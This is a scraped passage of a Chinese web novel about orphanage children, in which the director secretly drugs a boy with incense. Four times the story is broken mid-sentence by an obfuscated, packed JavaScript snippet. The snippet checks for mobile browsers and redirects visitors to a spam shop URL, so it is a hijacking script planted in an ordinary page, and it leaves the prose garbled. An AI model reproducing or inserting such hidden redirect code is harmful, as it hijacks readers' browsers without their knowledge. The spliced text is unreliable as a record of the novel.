但书本上一个个字像跳脱成了会扭动的彩色虫子,片刻后又自动转化成落在迟雾脑袋上的碎彩带。 细碎的,鲜艳的,和惨白纸张格格不入的。 因为有人过生日,每个房间的顶灯上都挂了几条彩线做装饰,图书馆也不例外。图书馆的角落处是没有窗户的,很暗,需要开灯,而灯光在彩线表面被一阵阵反射成五颜六色的碎光。 有些晃眼。 于南抬眼盯着顶灯看了会儿,半晌,他放下书,朝外走。 温程安看着他的动作,怔了下,下意识地站起身想要跟上,却被于南临走到门前时的一个淡淡的眼神给定住。 于南去了药房,驾轻就熟地学着迟雾教他的方法,从门底下捞出钥匙,进去后将门反锁上。 他在药柜里翻找一番,拿出瓶止疼药来,从里面倒出一颗塞进嘴里。 苦涩味像一滩水将舌根淹没。 其附带着的止疼作用却迟迟未返上来。 像是有了抗药性。 于南耳道里面细细麻麻被啃食的痛感始终未停。 药房里有一种很浓重的消毒水味,还掺杂着一股说不上来的香味,混合在一起很奇怪。 于南顺着香味往房间深处走。 他掀起一道又一道白帏帘。 才发现,原来这儿还有能躺人的小床。 最里面的床靠着几扇被电网从外围住的玻璃窗,看起来有些监狱里被拘禁的感觉,压抑不透光,好像这辈子都逃不出去。 小床上躺着个蜷缩成一团的人。 是迟雾。 头发遮盖着脖颈,衣领很宽,露出一截颈背交接处的皮肤。 他像是睡着了,怀里抱着个窄小的枕头。 而香味,来自床头燃烧的安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199158|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神香。 熏香还在不断向外飘着白烟,虚虚实实地将光亮遮挡住。随着这股味道吸入鼻腔,于南明显感觉到自己耳道里的疼痛消减两分,但与此同时,他的大脑也开始运作得更缓慢,像跌进了团藏着刀刃的棉花里。 于南咬着舌尖,点点血腥气弥漫时,意识才彻底清醒。他稍微停顿在原地,稳住身体,屏着气。 床上的人像是已经陷入了深度睡眠中去。 他的身体也蜷缩得愈来愈紧,像是极度缺乏安全感。 迟雾的嘴唇嚅嗫着吐出几个字眼。 这口型实在是太不明显,于南看不出来他究竟说的是什么。 于南往前走了两步,发现迟雾的身上起了层极其诡异的红紫,就像是深度窒息导致的,又像是某种过敏源引起的特殊反应。 于南连忙用小罩子将熏香罩住,然后推开窗,疏通房间内的空气。 良久。 感觉白烟彻底散去,于南才拿下小罩子,却发现熏香上仍有点微弱的火苗,随时可能复燃,大有不烧到底绝不熄灭的架势。 于南拿起一支生理盐水浇上去。 但诡异的是。 熏香上沾染了生理盐水反而味道扩散得愈发严重,如同一种气态寄生物在拼命地爬行,于南明显感觉自己的皮肤虽不至于像迟雾那般严重,却也有些泛红。 于南干脆把架着熏香的瓷杯拿起来,小心翼翼地把它扔到电网外面,然后等着屋内气味散了散,才关上窗。 现在。 于南已经完全感觉不到耳道里的疼痛感了。 往常犯病的时候,耳疼过后脊柱就会紧跟着开始冒出阵针扎的疼,但这次,它甚至连一点儿出现的趋势都没有。 就像是被上好的麻药彻底麻痹了整幅身躯,神经失去了对痛感的接收能力。 于南站在床边看着迟雾。 迟雾皮肤上的红紫渐渐褪去,只剩下层很浅的粉色,如同极度燥热后留下的。他的呼吸很沉,一道道气息如此绵长。 他就躺在那儿,毫无防备地睡着。 迟雾又说了梦话。 这次于南看清了。 他说的是—— 水不烫了,慢慢喝。 于南慢慢伸出手碰了下他的嘴唇。 迟雾感觉到嘴唇上压着的重量,条件反射地张开嘴咬了下。 力度不重,比起咬,更像是含。 他像是个毫无反抗力的小兽。 于南垂眼看着他。 迟雾睁开眼时就看见这么一张逆着光的脸。 明暗交接模糊的界限将他的脸分割成无数个不清晰的区域,迟钝的大脑来不及拼接。 迟雾感觉到自己的牙齿压着个东西。 他又施加了些力气咬了下,发现是于南的手指。 于南没收回手,而是低声说:“生日快乐。” 迟雾的大脑逐渐清晰,他意识到两人究竟处在怎样的状态下,立马坐起身,松开咬着手指的齿关。 但于南的大拇指上还是留下了层很浅的牙印。 迟雾还未来得及说什么,房门就被人推开。 阵阵脚步靠近。 院长掀开层层帏帘。 然后。 她看见了空无一人的窄床。 44. 第 44 章 那双脚来回走动着。 迟雾和于南躲在床下,透过床缝看着那双脚走到最近处停住。 熏香麻痹了大脑对疼痛的接收,但好像没摒弃身体对疼痛反抗的措施。 于南的身体开始小幅度地抖着。 迟雾以为他在害怕。 逼仄的空间里,迟雾伸出手小心翼翼地搂住于南的背部,双手在他胸膛上交叠,明显感觉到他的心跳速度十分地快。 心脏在骨架下一遍又一遍剧烈地撞击,隔着皮肉撞着迟雾的掌心。 院长只在床边停顿片刻就走了。 听着关门声响起。 迟雾才从床底下爬出去。 于南爬出去就被他捞起来。 迟雾说:“别怕。” 于南无法控制身体的抖动,他几乎能猜到,自己的脸色肯定又像死人一样难看,煞白一片。 他从迟雾的怀里挣脱出去,就要朝外走,却被迟雾一把抓住手腕。 迟雾上前一步,确保他能看清自己的口型,才一字一顿地说:“再等等。” 于南的喉结滚动了下,咽口水的时候就想有把钝刀子在喉咙上切割,也是这最上端的疼痛缓慢引导着其下身体部位的复苏。 不过数秒,疼痛感遍布全身。 于南颤抖得更厉害。 他白着脸,强撑着不再露出那难看的一面,别开眼,躲避着迟雾的视线。 迟雾却主动靠近,把他抱住,胳膊绕到他身后去揉他的腰骨处,这种揉捏也让到处乱窜的疼痛有了种被捉住的感觉。 好半晌。 迟雾才松开他。 迟雾看着他,说:“白天不要来这儿。” 顿了顿,他仔细观察着于南的表情,又不放心地添了句:“白天都是些不去上学的孩子才会来的,你要是身上又疼了就告诉我,我帮你取药。” 说罢,他便自觉拉开两人之间的距离,深深地看了于南一眼,才转身朝房门走去。 “迟雾。” 于南陡然叫他名字。 迟雾脚步一顿,转身去看他。 只听。 于南说:“你知道院长在对你做什么。” 他以一种陈述的语气说。 于南慢慢地走到迟雾的面前,抬起手在他的手在迟雾锁骨中间那道还在淌血的伤口上摸了下。 伤口被刻成小十字架的形状,伤口很浅很小,皮下只割开毫厘的长度,却一直不停得淌血,应当是和刚才那熏香有关。 迟雾平静地看着他两秒,才说:“不知道。” 之后,他不再说话,任由于南摁在自己伤口上的手指逐渐施加力度,将血压得流淌得更欢。 他的衣领很宽,血尽数淌到布料下,顺着躯干往下淌,没弄脏衣服。 迟雾没撒谎。 他不知道院长在做什么。 他只知道他有记忆起每周都要来这儿闻着熏香睡上一觉。 醒来后,他总是觉得骨头里像是在被虫子啃咬一样酥痒一片。 就想有什么寄生虫宿在了他体内,就此蛰伏。 迟雾深深地看着于南。 于南还在小步地向他靠近。 迟雾想让他就这么无限靠近,靠近到两个人永远贴在一起,但他又想起于南近几日的躲避,强撑着理智后退了步。 他在孤儿院里没受过什么教育,得到的唯一的有关世界的准则都是在书上自己摸索来的冷冰冰的字句。这种方式很笨拙,却是他唯一能借鉴的。 书上说。 要尊重他人意愿,保持己身自觉。 他不想像个野蛮人一样肆意行事,不想让于南生出厌恶,他维持着自觉,遵守着规则。 于南躲他,应该是和那些孩子一样,或许不一样,但归根结底都是躲。 迟雾理应顺从着规避。 他又后退了两步,一步比一步慢。 迟雾说:“我没骗你。” 于南察觉到他明显的闪避,倏地笑了一声。 就在迟雾以为他要再追问些什么时,于南却直接和他错开身,出去了。 温程安正在图书馆门口,一看见于南的身影,立马迎上来,问:“你去哪了。”于南却没理会他,径直走了。 温程安朝药房内一瞥,和站在原地的迟雾对上视线。 迟雾神情冷淡地看着他。 温程安朝他笑了下,以一种好奇的神态。他又踏进药房,环顾了一周,才将视线重新归回迟雾的身上,说:“生日快乐,蛋糕挺好吃的,就是太甜了有点儿腻。” 说完。他停顿了下,又问:“你和于南刚刚是吵架了吗?你俩……..关系不太好?” 迟雾没理他,直接走了。 温程安愣了两秒。 看来是吵架了。 于南和他关系不太好? 为什么呢。 温程安思忖半晌,想起来别的孩子形容的迟雾。 他像是得到什么答案一样,下意识地快速倒退出房间,伪装出一种刻意的、厌恶的表情,却在下一秒感觉自己撞上个人。 他转身去看,就看见了院长垂着眼盯着他。 温程安猝不及防地被吓了一跳。 他喊:“……..院长。” 院长身上穿着件全黑风衣,面上难得画了淡淡的妆,身上还带着股淡香。香味入鼻的那一刻,温程安不自觉地软了下腿。 就像是从来没闻过的迷药,将他的骨头都抽掉了。 院长伸手扶了他一下,才温和地笑着说:“怎么跑这儿来了?” 温程安慌乱一瞬,便快速平息着心跳,收敛脸上多余的表情,努力伪装出种平和来,但还不待他开口解释,院长便率先开口道:“来了采摘花朵的园丁,快出去看看吧。” 温程安得了台阶,立马应了声,就顺着缝隙钻了出去。但他没去外面,而是重新回了图书馆里,见没有于南的踪影,才顺着喧嚣的声响往外走。 一到外面。 就看见所有孩子都站在空地上,排列成几排,身上也都换上了自己最漂亮的衣服,里面有几个孩子应该还特意洗了个澡,头发还有些湿,紧贴在身上。 正前方站着一男一女,看穿着打扮应该是家境不错,满脸笑容地和一个个孩子挨个聊天打招呼。 温程安原本也想上前,但他没看见于南的身影,视线兜了一圈,顺着小路往拐角走,才找到了于南。 于南正蹲在那两只土狗面前,黑狗冲着他小声呜叫,还用脑袋蹭他的腿,但于南始终没什么动作,像是在发呆。 温程安走到他身边,也以同样的姿势蹲下去,尝试着用于南的视角来看这两只土狗,但怎么看都没看出来特别的地方。 就是很普通的两只狗。 狗脖子上还带着细窄的狗链,分别挂着铭牌。 黑狗叫小夜,黄狗叫小土。 名字也很普通。 温程安的视线开始胡乱地飘,飘着飘着,就落到于南的身上。 他开始仔细地观察于南,开始想,如果刚才的场景,要是于南处在那种场景下会怎么做。 会慌张地从缝隙里钻出来么。 好像不会,不,是肯定不会。 于南很冷静,他不会慌张。 温程安尝试模仿他身上的这种冷静,但显然模仿的不伦不类,到底只是浅显一层。 倏地。 温程安看见了于南大拇指上还留存的浅淡的齿印。 温程安又想起来迟雾那张脸。 是他咬的。 肯定是他咬的。 于南被他咬了之后做出了什么反应? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199159|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愤怒?嫌弃?还是一如既往的平静? 温程安像是找不到答案的差生。 他又问:“于南,你在看什么。” 于南像没听见这句话一样。 温程安显然不知道于南耳朵的事,他只当于南又像以往一样不打算理他,便没接着问,而是保持着这种蹲姿,思绪开始发散。 他听见远处的声音。 有个孩子被领养了,那个孩子温程安有些印象,和他同一个房间,学习很好,得了一摞奖状。 有朵花被带走了啊。 温程安漫无目的地想。 去到新家里,花多久才会枯萎呢。 温程安又盯着那只黄狗看了半晌。 黄狗趴在地上一动不动,好像自他来了之后看见这只狗时,它就一直是这样,像是个僵硬的泥塑,躲在黑狗身后寻求庇护,可分明没有任何危险。它只是习惯性地将自己缩成弱势的姿态,哪怕给它最少最难吃的食,它也能这么拖拖拉拉地躲在黑狗身后苟活。 这样的狗,咬人最疼。 温程安收回视线。 外头那群人散了。 不少小孩掉着眼泪就往角落里躲。 在他们看来,没被挑中就是自己最大的悲哀。 因为没家就等同于没爱。 在往这处走的人越来越多时,于南起身了。 或许是长久蹲着导致眼前一黑,于南在原地站了几秒才动,而他的视线也那么停留在正前方的玻璃窗上数秒。 迟雾站在玻璃窗后头,站在走廊里,看着于南走远后,才后知后觉地想起来蹲下身藏匿自己的身影。 他看着地板缝隙,小声重复了遍。 “要尊重他人意愿,保持己身自觉。” 看来不去学校是对的,他真不是个学习的料子,明明书上都给了定律,他也参悟了,却还是没法好好施行。 看小鱼应该偷偷的。 他就是个学不好的差生。 “好笨啊。”迟雾无声地说。 温程安站起身时,刚好看见重新站起来的迟雾。他原本要迈出去的腿也就此停住。 温程安歪了歪脑袋。 又是迟雾。 他眯了眯眼睛。 当天下午。 温程安摸进了隔壁房间。 他不再跟随于南的踪迹。 而是摸到了迟雾的床边。 熏香导致的昏沉,让迟雾几乎陷入深度睡眠中,整个人都被无法言说的一道道梦境填满。 梦里的一切都是黑漆漆的。 他像是被锁在了间小黑屋里,接受着惩罚。 身上刺麻的疼痛只是让他眉头紧锁着,无法将他真正唤醒。 温程安站在床边看他半晌,才蹲下身,试探性地叫了声:“迟雾。” 见迟雾无甚反应,他才慢慢伸出手。 温程安很好奇。 如果迟雾是个长满蛆虫的怪物,那他咬人的时候是怎么咬的,又为什么咬的那么轻,连个伤口都没留下。 温程安慢慢将手靠近迟雾的脸。 下一秒。 他莫名有一种诡异的感觉。 或许是室内太过安静导致的,又或许是因为他在摸索着个很奇怪的问题。这给他一种正在被人监视犯罪过程的错觉。 但当他的手指离迟雾的脸只有毫厘那一刻,他终于知道是为什么了—— 有人抓住了他的头发,快速用力往后一扯。 温程安迟钝地转动眸子,看向那人。 然后就看见。 于南用一种格外冷漠的视线注视着他。 于南的手掌很凉,贴在头皮上像是不留情面的铁质刑具,将他的头发往后拉扯。 温程安的手再也没机会贴到迟雾的脸上。 45. 第 45 章 迟雾半梦半醒间感觉整个人被扔进火炉里反复灼烤,又被人捡起来重新丢进冰窖里冻着。他感觉自己的骨头要全部散掉,皮肉也将全部腐烂。 梦里有张吞人的嘴。 过去的记忆就像走马灯一样从眼前一一闪过,每当他将记忆好不容易塞进个逼仄的小容器里后,熏香引发的噩梦就会带领着一切重返。 他记起来刚开始的时候,他不是一个人的。 他有朋友,还有个对他最好的大哥。 他俩一起依偎在孤儿院里,孩子欺负他,大哥保护他。他就像是个最没用的老鼠,颤颤巍巍地缩在地洞里,等着大哥从外面带回食物给他,他将童话里的一切都信以为真,他认为人天生就是要走向完美结局的,老鼠也会走出地洞。 他那时候才五岁,或许是天生就笨,他记事儿都比别人晚,从记事儿开始,他就知道世界要是个巨大的城堡,他就是被人照顾的、怯懦的、没那么好的最小的流落民间的落难王子。 但他大哥给他东西吃,教他识字。 他是那时候孤儿院里最小的孩子。 也是第一个连字都不识的孩子。 大哥是最大的孩子。 大家好像都对他很好,大哥对他尤其的好。 他干什么都先想着大哥,吃的东西先分大哥,得到的糖先给大哥,每次进药房前还要盯着大哥看一会儿。 他没爹没妈,觉得大哥就是爹了。 照顾他的才该是亲人不是吗。 后来他发现,大哥好像没那么喜欢他。 大哥觉得,从他碗里夹出来的食物是带口水的,是脏的;从他兜里掏出来的糖是廉价的塑料糖,不怎么甜,但他只能得到那种糖了;他进药房之前一直盯着大哥看也那么让人烦。 那时候只有迟雾一个孩子要定期进药房。 他们说,是院长给他单独关照,他进去是享福的,他就是院长的小孩儿。 他学好字后,大哥教他的第一课,就是人与人之间的应有距离。 大哥蹲在落日余晖下,暖光洒满全身,仿佛是最慈悲的天使,他还用一种温和的语气谆谆教诲道:“迟雾,不是每个人都喜欢过度亲密,有时候距离过近反而会引人厌烦,对适当距离的拿捏才是人这辈子最该学会的,有时候,有的人其实已经觉得你越界了,但出于礼貌涵养,没表现出来,这时候你就要学会自己察觉,知道了吗。” 迟雾问他,那他和大哥之间的距离是让人讨厌的吗? 大哥怎么说来着。 他说,有时候还好,有时候挺讨厌的。 说这话的时候,大哥脸上的笑一如往常,却格外刺眼。 矮矮的迟雾站在一群比他高大的孩子中央,就像是被阴暗的密林层层包裹,他不知该从何处躲、该从何处逃,他只是像个傻子一样站在原地,盯着一张张带笑的脸看,然后陷入无底的漩涡。 那是他第一次觉得自己笨得无可救药。 他学不会人基本的准则,他只觉得难过。 他尝试着学会,尝试着去观察什么时候能靠近,什么时候必须远离。 可他听见他们说他就像是一只狗,召之即来挥之即去。 迟雾不明白他怎么就是小狗了呢,他没有尾巴,也没能力好好看家。 后来懂了,他好像也就真的变成被拴住的小狗了。 无形的铁链挂在脖子上,勒令着他在方寸之地蹲守,不要踏入不被允许的区域,不要离开自己应守的区域,不要随便对不喜欢他的人类摇尾巴。 不要,不要,不要! 他只需要趴在狗链允许的范围,乖乖的,再乖乖的。而那个叫迟雾的人类变得下落不明。 梦里的一切都如此真实,好像重新捱过一遭,心脏也被捏得干瘪得不留血水。 迟雾醒来的时候,感觉自己全身上下都是疼的,尤其是喉咙里,似乎有把刀在他睡着的时候将那里反复凌迟过了。 “你哭了。”迟雾陡然听见有人这么说。 迟雾抬起眼皮,就看见于南站在他床边。 于南弯下腰,伸手擦掉他脸上那行堆积在鼻梁上的眼泪。 窗帘没拉,昏黄的夕阳从窗外闯进来,就像梦里一切逼迫他学会遵守法则的场景。 于南的半张脸埋在光里,眼睫在脸上投出条暗影,就像是弯小舟。他顺势坐到床边,极具耐心地伸手一点点擦去迟雾脸上仍留存的湿痕。 他轻声说:“你刚才在叫哥。” 迟雾怔松地盯着他看。 于南笑笑,又说:“你有哥?你是被哥哥抛弃了吗。” “抛弃”两个字就是最利落生硬的铁锤,直接将迟雾敲醒。 迟雾倏然往后躲了躲,躲开那只手的再次贴近。 他抿抿唇,才说:“于南,我给你找药和水只是单纯想那么做,你没必要强迫自己来还人情,你说那一句‘生日快乐’足够了。” 他的喉咙像堵了滩粘合剂,根本发不出声响,他这句话几乎是无声的。他只能努力拼凑出一句还算有逻辑的话。 他真的不知道该说什么。 他真的没办法学得更出色了。 于南指腹沾着的眼泪聚集成水珠,顺着他的手指一路滑到掌根,又没到衣袖里,仿佛迟雾的泪借着他的手又哭了一次。 湿漉漉的感觉贯穿手掌,于南盯着迟雾看了半晌,突然觉得,他看错了人。 于南原本以为迟雾是孤儿院里最聪明的,因为他看起来知道的最多。但现在于南发现,迟雾其实是那个最傻的,因为他能把一件能用来讨债的恩情随便就说成只是单纯想那么做。别的孩子要是扶了人一把,都至少要让对方吃饭的时候让自己道菜。 但迟雾只要一句生日快乐。 还是他随口说的一句。 迟雾紧盯着于南的手掌,以此来控制自己不再看向于南的脸,不再观察他的表情。 迟雾不想再看见什么藏着话的表情了。 他只想装傻。 于南却再次伸出手,丝毫不给迟雾闪避的机会,当然,他也没能力再一次闪躲了。 于南将遮住迟雾眉眼的头发往后拨了拨。 迟雾努力控制着自己的呼吸,避免突兀的气息惊扰到靠近的人儿。 于南感知着他的小心翼翼,有一瞬觉得自己就是个贱骨子。 迟雾靠近他的时候,他要退后。 迟雾退后了,他反倒像贴上去了。 直白坦荡的好意就像壶热水,只会把他这朵腐败的花浇死,而这样绕着弯儿又藏不住的笨拙反倒成了最好的肥料,让他这朵烂得还没那么彻底的花又重新看见了点儿太阳光。 小孩儿的心思很容易看穿。 当你总是被拖进泥潭里的时候,再穿着雨靴踩进浅水池里就能很轻易地站稳了。但胆怯的人刚在水池里站稳时总是怀疑还有后陷,可当他来回淌两遍后,就会渐渐地、渐渐地一点点放下心。 于南像闲谈般低声问:“梦到什么了?” 迟雾不知道该不该说,他想说,但是梦就像是无数个充满苦水的烂片拼凑在一起,他还不会讲好听的话,描述起来一定又臭又长,一点儿意思都没有。于南肯定又要讨厌了。 迟雾张张嘴,片刻后又闭上。 于南颇有耐心地等着。 他的手指一直在迟雾眼尾处轻轻压着,只要那儿在淌出苦水,他肯定能第一时间拭去。 迟雾等了半天,他都没有离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他这一松手,迟雾瞬间连哽咽都堵在喉咙里,只能闭紧眼睛把眼泪往回逼。但流淌出来的水就像将成的河,无论如何都堵不住。 迟雾还是能感觉到床边的下陷消失了。 于南走了。 于南走了。 片刻后。 迟雾感觉到被子被掀起来,有东西挤了进来。 他睁开红肿的眼,就看见于南躺了进来。 硕大的灰色助听器套在于南的耳朵上显得笨拙。他伸手把迟雾捞进怀里,像迟雾之前每个夜晚抱着他帮他揉身上作痛的位置时一样。 于南紧紧地抱着他,让他把脸埋在自己的颈窝,用衣服替他擦脸上的泪。 戴助听器的感觉不大好受,有些磨耳朵,声音从里面传出来的感觉也很陌生,是一种模糊的、顿顿的声音,好像他在重新和这个世界建立薄弱的联系。 而联系的介质,就是迟雾一阵阵压抑得只剩急促的呼吸声的哭泣。 于南拍了拍他的后背,小声说。 “哭吧,我听得到也不会嫌你烦的。” “哪怕变成小狗了,委屈也可以流眼泪。” 迟雾就这么哭着。 不知过了多久,感觉到抱着的人彻底没了动静,于南才侧着脸在他耳边说了句:“迟雾,生日快乐。” 两人呼吸交织着,通过助听器传到耳朵里。 很轻。 像一场刚起的细雨。 46.第 46 章 温程安蹲在门口,头发凌乱的像成捆的稻草,他缩在那儿,每来一个孩子他就面无表情地盯着人家,盯得他们迟疑着停了嬉笑声,他才慢悠悠地来一句:“不许进”。 他就这样守着,拦住每个想进屋的孩子,像是在守着一个即将爆炸的火坑,但可惜他不是什么有责任感和奉献精神的守卫,他只是被迫压着、威胁着的小囚犯。 温程安看着墙上的钟表,大致过了两个小时,里面的人还没有出来的意思。他腿蹲得麻得不能再麻,再这么蹲一会儿,他不用打麻药都能无痛截肢了。 温程安到底还是站起来了,他左右扫视了遍走廊,确定没人能看见他此刻的作为,才慢着动作温吞地往后一退,与此同时,手也缓慢地压住门把手。他侧着脸,直勾勾地盯着愈见扩宽的门缝。 门以毫厘之速打开。 里面安静一片,窗帘也全被拉上了,有些暗。 温程安把脑袋挤进去,视线朝着既定路线探了探,然后就看见—— 最里面那张小床上,被子鼓鼓的,但或许是被子太小,盖不住两个人的身体,于南的后背露在外面,还有一双交叠着抱着他的胳膊也露在外面。 温程安看见迟雾的脸压在于南的肩膀上。 “……..” 温程安又把门关上了。 原来于南还会哄小孩儿睡觉吗。 温程安回了图书馆,但这次他坐到于南常坐的位置上。 于南没看完的书还半合着放在桌面。 温程安把书拿起来,尝试在上面找到于南的字句标注,但显然一无所获,于南看书就像是只保持着一个“看”的动作,好像没有多余的“记”的想法。 好孩子看书不是要记很多笔记吗。 以前隔壁人家的那个好学生就是。 温程安对那个好孩子记忆特别深刻,因为他妈说想让他像那个好孩子一样,他尝试去学,但没等学出什么结果来,他就被抛弃了。 现在于南就是另一个好孩子。 他身上的气质和那个领居家的孩子差不多。 平稳沉着,明显和别人不一样。 温程安保持着以前的旧习惯。 现在,他在想。 好孩子主动哄另一个小孩儿的理由是什么呢。 为什么被咬了之后还要守着他呢。 温程安就这样坐在角落里,视线定格在冷白色的书页上,思绪在不知不觉间飘远。 迟雾这一觉睡得很沉。他是被外头的烟花爆破声吵醒的。 他被吵得有些烦,想往被子里躲躲,把耳朵蒙住,但他的手刚摸到距离最近的布料,就感觉手感不太对。 不是他的被子。 迟雾后知后觉地松开手。 下一秒。 “被子”就动了。 于南把盖在两人身上的被子往下扯了扯,露出迟雾埋在里面一半的脸。 于南仔细看了眼迟雾的脸上。 没眼泪了。 但应该是睡热了,稍微有点儿红。 于南又伸出手臂将窗帘扯开条缝。 瞬间,烟花姹紫嫣红的光就从外面挤进来,照到两人的中央,像是漂亮的极光瀑布。 而瀑布之外,是于南。 于南将窗帘拉开后直接坐起来了,他像是什么都没发生、什么都没听过一样,神情一如往常的平淡,而戴着助听器的耳朵被磨得严重泛红,仔细看,看能看见干涸的血痂藏在不明显的位置。 但他没摘掉助听器,而是看了眼时间,然后问:“饿吗。” 迟雾没说话,就那么躺在床上盯着他。 于南也不催促,任由他看着。 “……..” 迟雾率先挪开眼,说:“有点儿饿。” 闻言,于南点点头,下了床。 迟雾看着他走出去,过两分钟又回来,手上多了个端盘,里面放着一人份的晚餐。 门没关,吱呀响着一点点打开,迟雾也看见了门外站着的温程安。 晚餐应该是他端过来的。 那就不会是端给他吃的,应该是给于南的。 迟雾坐起来。 窗外的烟花放到尾声,最后一声巨响落下,绚烂绮丽的花火也在天边消散,窄小的窗口只能看见点儿降落时四散的尾巴。 迟雾知道,这是又有孩子被领养走了。 只有这时候安丁园才会放烟花。 视野中光亮熄灭,睡前的记忆缓慢复苏。 迟雾有些不知道该怎么面对于南。 就像是一个得不到糖的孩子撒泼打滚地磨了好一阵子才得到想要的,但拆开糖皮时,又开始后悔。 这真是他应得的吗。 他得到了又怎样呢。 迟雾有些不敢看于南。 “迟雾。”但于南开口叫他名字。 于南的声音很特别,冷淡清晰,总是和人之间隔绝着点儿距离,却尚且带着股稚嫩的声色,所以当他放轻声音时,吐出的每一个字都像是漂亮的绸缎一样,让人想抓住。 于南把自己床上的书都拿来,摞到一起放在张矮椅的椅面上,然后把餐盘放在最上头,这高度刚好方便迟雾拿取。 门外的温程安看着于南的动作,撇撇嘴,反应过来自己的小动作后又快速调整面部表情,又恢复那张刻意维持的棺材脸,要是没有脸颊的婴儿肥就更完美了。 他本以为于南还准备喂迟雾吃,毕竟电视里哄小孩儿不都是这么哄的吗,无微不至,恨不得二十四小时候着。但于南不知和迟雾说了什么,说完后迟雾朝着门的方向看了眼。 温程安明显看见迟雾对待自己和于南时的两幅面孔。 温程安想起来那条叫小土的狗。 双标。 温程安往门后缩了缩。 不明白怎么就对他和于南不是一个态度呢。 他还是不像好孩子吗。 温程安用手揉了揉自己的脸。 脸都僵了。 片刻后。 于南出来了。 温程安看向他,等待着将临的审判。 但于南却只是淡淡地扫了他眼,就直接离开。 温程安本以为他是打算走远点儿再助跑打过来更有劲儿,但于南真的走了。他眨眨眼,连忙跟上,但快跑两步后又梗着脖子放慢速度,想让自己看起来稳重点儿。 但眼看着再稳重就跟不上人了,温程安才彻底放开姿态,跑着跟上去了。 然后就看见。 于南走到图书馆,在陈列的数十个书架中间七拐八拐地走到了心理学分类区域内。 温程安靠着书架喘气。 于南的视线略过一本本书的侧封。 最后,从里面挑出来两本。 温程安看着他从自己面前走过,好像完全把他当成了透明人不打算理会。 温程安忍无可忍地开口叫:“于南。” 于南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他把书放下,但是是转身放到了自己的床上。 迟雾看着他的动作,条件反射地伸手去抓他的衣角,等到于南看向他时,他讷讷地说:“我不是不愿意看,我会治好自己的,会的。” 话说出口,迟雾又开始后悔。 他没病,他只是有些不太好的记忆,没有生病那么严重的。 没那么吓人的。 所以不要怕,不要怕。 迟雾抓着衣角的手一点点松开,就像坠下去的纸团,内里皱巴巴的。 就在手掉下去的一瞬,于南伸手抓住他的手腕,缓冲了些力度,才轻轻放下。 于南觉得迟雾这样特别别扭,说着不会再哭了,但现在的表情皱巴巴的,看起来像是随时都要哭出来。 装坚强。 嘴硬。 胆小。 于南说:“我只是觉得你应该看别的书。” 迟雾问:“什么书?” 于南说:“漂亮胆小鬼的胆大日记。” 迟雾想了想。 图书馆里好像没这本书。 他没见过。 但迟雾还是老实地应:“好,我会看的。” 于南很慢很轻地又笑了一声。 没这本书。 他在骗胆小鬼。 原来骗人不一定是为了从谁手下讨好处。 还是只单单是为了说些自己想说的。 47.第 47 章 迟雾觉得自己真的太笨了。 他看不懂于南到底是怎么想的。 于南到底是想远离他呢,还是靠近他呢。 他们现在是朋友吗。 是好朋友吗。 于南去学校的时候,时钟就像成了精,成了有年轮的老钟,每个分秒都过得很慢。指针一圈圈得慢慢转,太阳也跟着转。 迟雾缩在床头抱着书,时不时抬头看眼窗外的太阳,等到太阳和外边的栅栏等高的时候,于南就回来了。 明明之前太阳总是走的很快,但最近就像喝醉酒还坡了脚,慢吞吞的,特别慢。 这也让迟雾养成了个习惯,临近于南放学的时间,他就开始觉得心脏跳动过快而有些坐立难安,之后就会在钟表下头来回徘徊,几乎是掐着时间,每天下午五点整,于南就会出现在他面前。 迟雾觉得于南就像是定时发放的肉骨头,里面或许掺了诱食剂,而他被化学物质控制着四肢,他真的不是故意时时刻刻都要想着于南的,真的。 但其实故意的也没关系。 他不告诉别人就好了。 他试探着一点点抛出问题去了解于南。 “于南,你什么时候过生日啊。” “不知道。” 迟雾知道于南这是不想说,只得把刚探出去的视线缩回来落到书上,在余光里观察那人,小声应着:“不问了。” 而对于南来说。 他就像是突然捡了盆仙人球,它看起来很好养,不需要经常浇水,不需要太过关注,但一旦你真的将它搁置在一旁,它就会悄悄地烂根。于南这个新手正处于过度关注的阶段,怕一不小心就把它给养死了。 于南伸出手指碰了下迟雾的胳膊,解释了句:“我没过过生日,不记得日期,所以才说不知道。” 迟雾觉得他的味觉变得敏感了,但舌头先接触的不是牙齿,而是耳朵,每个字钻进去都有了酸味,还泛着苦。 迟雾装作平常地点点头,“哦”了一声,之后就没了下文。 他不知道该说什么了。 他希望时间再快一点走,将苦味快点儿压进胃里,不然他怕自己一开口就舌头都发着麻。 于南又用手指碰了碰他的手背,就像敲门一样。 迟雾转过脸去看他。 